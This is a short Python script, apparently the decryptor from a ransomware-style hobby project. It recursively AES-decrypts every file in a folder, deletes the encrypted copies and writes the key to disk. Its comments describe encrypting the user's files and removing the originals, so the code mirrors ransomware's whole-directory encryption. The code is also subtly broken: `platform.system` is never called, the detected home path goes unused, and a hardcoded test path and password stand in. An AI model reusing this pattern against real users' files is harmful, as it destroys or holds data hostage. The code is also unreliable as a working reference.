Files

55 lines
1.6 KiB
Python

import os
import socket
import getpass
import platform
import hashlib
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import unpad
# Function to encrypt a file and removing the unencrypted one
def decrypt_file(file, key):
enc_file = file
with open(enc_file, 'rb') as f:
iv = f.read(16)
ciphertext = f.read()
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
with open(enc_file[:-5], 'wb') as dec_file:
dec_file.write(plaintext)
os.remove(enc_file)
# This will go through the specified folder and encrypt all of the files, even from subfolders
def decrypt_whole(folder_path, password):
key = hashlib.sha256(password.encode()).digest()
iv = get_random_bytes(16)
for root, _, files in os.walk(folder_path):
for file_name in files:
file_path = os.path.join(root, file_name)
decrypt_file(file_path, key)
print(f"Decrypted: {file_path}")
cwd = os.getcwd()
with open("aes-key", "wb") as open_key:
open_key.write(key)
# Main function
# Detects username, assembles path and calls function from above to encrypt
if __name__ == "__main__":
username = getpass.getuser()
path = ''
if platform.system == "Windows":
path = r'C:\Users\%s' % username
elif platform.system == "Linux":
path = '/home/' + username
elif platform.system == "Darwin":
path = '/Users/' + username
decrypt_whole("/home/hellisabove/test", "hellisabove")